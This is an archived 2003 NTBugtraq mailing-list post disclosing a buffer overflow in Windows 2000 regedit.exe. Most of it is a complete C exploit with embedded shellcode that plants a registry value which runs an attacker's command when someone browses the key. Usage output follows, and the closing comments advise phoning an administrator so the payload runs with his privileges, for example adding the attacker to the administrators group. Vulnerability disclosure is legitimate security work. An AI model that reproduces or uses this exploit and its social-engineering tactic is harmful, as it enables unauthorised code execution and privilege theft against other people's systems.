a NEW vulnerability in REGEDIT.EXE

From: ThreaT (ThreaT@IFRANCE.COM)
Date: 04/16/03

  • Next message: Herrick, Joe: "Re: Alert: Microsoft Security Bulletin - MS03-013 - Windows 2000 Warning"
    Date:         Wed, 16 Apr 2003 18:07:35 +0200
    From: ThreaT <ThreaT@IFRANCE.COM>
    To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
    
    

    Hi list,

    I have found a new vulnerability in regedit.exe that can be
    exploited localy or remotely by trapping our registery.

    --- SNIP ---

    /**************************************************
    09/04/2003
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @ Trapped Registery for REGEDIT.EXE exploit @
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    +++++++++++++++++++++++++++++++++++++++++++++
    + +
    + Discovered & coded By ThreaT +
    + +
    +++++++++++++++++++++++++++++++++++++++++++++

    Contact : ThreaT@Ifrance.com
    URL : http://www.chez.com/mvm

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    This is a NEW exploit for a NEW vulnerability
    in REGEDIT.EXE !

    This one trap a KEY in the registery, that
    when a non informed user just try to BROWSE IT
    with REGEDIT.EXE (localy or REMOTELY !) execute
    an arbitrary command defined by attacker
    without its knowledge !

    The vulnerabitily appear to be in a RegEnumValueW
    function misused in regedit.exe

    By precaution, I council to use regedt32.exe
    for your future registery manipulation.

    This exploit as been tested on Win2K (fr) SP0,2,3,
    and work with a local and remote browse of a
    trapped registery.

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    compile -> cl /nologo TrapReg.c /link advapi32.lib
    ***************************************************/

    #include <windows.h>

    #define taille 620
    #define mastar 1000
    #define MaxCommandLen 135
    #define DefaultKey "HKEY_LOCAL_MACHINE"

    HKEY RootHandle (const char *ROOTKEY)
    {
     int indice;

     struct _HandleKey {
      HKEY RK;
      char *KeyName;
     } HandleKey[5] = {
      {HKEY_CLASSES_ROOT, "HKEY_CLASSES_ROOT"},
      {HKEY_CURRENT_USER, "HKEY_CURRENT_USER"},
      {HKEY_LOCAL_MACHINE,"HKEY_LOCAL_MACHINE"},
      {HKEY_USERS, "HKEY_USERS"},
      {NULL,'\0'},
     };

     for (indice=0; HandleKey[indice].RK ; indice++)
      if (!lstrcmpi (HandleKey[indice].KeyName,ROOTKEY))
       return HandleKey[indice].RK;

     printf ("'%s' is an unknow RootKey! You can only work with the following :\n"
      "- HKEY_CLASSES_ROOT\n"
      "- HKEY_CURRENT_USER\n"
      "- HKEY_LOCAL_MACHINE\n"
      "- HKEY_USERS\n",ROOTKEY);

     ExitProcess (0);
     return NULL;
    }

    void main (int argc, char *argv[])
    {

     HKEY TrapedKey;

     char shellcode[] =

     "\x50\xFC\x06\x00"

     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

     "\xEB\x69\x6A\x30\x5B\x64\x8B\x03\x8B\x40\x0C\x8B\x48\x0C\x8B\xC1"
     "\x8B\x70\x30\x80\x3E\x4B\x75\x4A\x8B\x40\x18\x8B\x58\x3C\x03\xD8"
     "\x8B\x5B\x78\x03\xD8\x8B\x73\x1C\x03\xF0\x56\x8B\x73\x24\x03\xF0"
     "\x56\x8B\x53\x20\x03\xD0\x8B\x5B\x18\x4B\x8B\x34\x9A\x03\xF0\x03"
     "\x74\x24\x10\x8B\x36\x39\x74\x24\x0C\x74\x08\x4B\x23\xDB\x75\xEA"
     "\x58\x58\xC3\x5F\x33\xC9\x66\x8B\x0C\x5F\x5F\x8B\x3C\x8F\x8D\x04"
     "\x07\xC3\x8B\x18\x39\x08\x8B\xC3\x75\xA6\xC3\xEB\x22\x6A\x01\x68"
     "\x69\x6E\x45\x78\xE8\x89\xFF\xFF\xFF\x6A\x01\xFF\x74\x24\x0C\xFF"
     "\xD0\x6A\x01\x68\x78\x69\x74\x50\xE8\x75\xFF\xFF\xFF\xFF\xD0\xE8"
     "\xD9\xFF\xFF\xFF",

     *VulnBuff, *YourKey=NULL, *p=NULL, Data[] = "Mouarf";

     LONG ret;
     int i;

     printf ("###########################################\n"
      "Trapped Registery for REGEDIT.EXE exploit !\n"
      "###########################################\n"
      "Discovered & coded by ThreaT.\n\n"
      "URL : http://www.chez.com/mvm\n"
      "MAIL : ThreaT@Ifrance.com\n\n");

     if (argc < 2 || strlen (argv[1]) > MaxCommandLen)
     {
      printf ("Usage : TrapReg.exe <command to be executed> [Key to trap]\n\n"

       "+ The first argument define the command to execute when our\n"
       " favourit administrator will browse our trapped key :p\n\n"
        
       "+ The second argument is optional, you can specify with it the\n"
       " path of the key to trap. (default is HKEY_LOCAL_MACHINE).\n\n"

       "The command to be executed cannot exceed %u caracters.\n",MaxCommandLen);

      ExitProcess (0);
     }

     if (!(VulnBuff = (char *) LocalAlloc (LPTR, mastar)))
     {
      printf ("Cannot allocat memory for making the evil buff !\n");
      ExitProcess (0);
     }
     
     i = sizeof (shellcode);

     memset (VulnBuff,0x90,taille);
     memcpy (&VulnBuff[taille],shellcode,i);
     lstrcpyn (&VulnBuff[taille+i-1],argv[1],MaxCommandLen);

     if (argc > 2)
     {
      i = lstrlen (argv[2]);
      if ( !(YourKey = LocalAlloc (LPTR,i+2)) )
      {
       printf ("Cannot allocat memory for store the name of key to trap !\n");
       ExitProcess (0);
      }

      lstrcpyn (YourKey,argv[2],i+1);

      if (p = strchr (YourKey, 0x5C))
       p[0]=0x00;
     }

     ret = RegOpenKeyEx (YourKey ? RootHandle (YourKey) : RootHandle (DefaultKey),
      p ? ++p : "", 0 , KEY_ALL_ACCESS, &TrapedKey);
     
     if (ret != ERROR_SUCCESS)
     {
      printf ("Cannot open '%s' for trap it !\n"
       "See error code number %u for more details.\n",
        YourKey ? argv[2] : DefaultKey , ret);
      ExitProcess (0);
     }

     ret = RegSetValueExW (TrapedKey,(const unsigned short *)VulnBuff,0,REG_SZ,(CONST BYTE *)&Data,mastar);
     
     if (ret == ERROR_SUCCESS)
     {
      printf ("'%s' is now trapped for execute '%s' "
       "when our favourite administrator will browse it whith REGEDIT.EXE :p\n",
       YourKey ? argv[2] : DefaultKey , argv[1]);

     } else printf ("Cannot write evil value to trap the registery !\n"
         "See error code number %u for more details.\n",ret);

     RegCloseKey (TrapedKey);
    }

    /************************************************************************

      a simple methode for test if your system is vulnerable
      to the 'Trapped Registery for REGEDIT.EXE exploit' !

      after a succesfull compilation of the xploit, type the following
      command on a cmd prompt shell :

    --
    D:\code\exploits>TrapReg.exe "cmd /c echo WARRNING! you are vulnerable to the 
    Trapped Registery for REGEDIT.EXE exploit! > c:\a.txt & c:\a.txt" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
    ###########################################
    Trapped Registery for REGEDIT.EXE exploit !
    ###########################################
    Discovered & coded by ThreaT.
    URL  : http://www.chez.com/mvm
    MAIL : ThreaT@Ifrance.com
    'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft' is now trapped for execute 'cmd /c echo
    WARRNING! you are vulnerable to the Trapped Registery for REGEDIT.EXE exploit! >
     c:\a.txt & c:\a.txt' when our favourite administrator will browse it whith REGEDIT.EXE :p
    D:\code\exploits>
    --
      Ok, everything seen to be good !
      now, launch REGEDIT.exe and go to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.
      If notepad (or your favourite text editor) appear with the sentence :
      "WARRNING! you are vulnerable to the Trapped Registery for REGEDIT.EXE exploit!"
      use regedt32.exe until Microsoft release a patch for regedit.exe :)
      For more fun, you can phone call your system administrator, and say him you have
      a problem with your registery at this specific key.
      When he will try to browse it remotely with regedit.exe, our arbitrary command
      will be executed to his computer with his privilege !
      So, nobody prevent you to trap your registery with a 'NET GROUP ADMINISTRATORS /ADD' :))
    ************************************************************************************/
    Sorry for my poor english.
    oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
    Have you discovered a security vulnerability related to Windows or a
    commercial product which runs on Windows?
    Need assistance crafting the format or translating your advisory to English?
    Need to verify it, or having problems contacting the Vendor?
    Contact mailto:Advisories@NTBugtraq.com
    oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
    

  • Next message: Herrick, Joe: "Re: Alert: Microsoft Security Bulletin - MS03-013 - Windows 2000 Warning"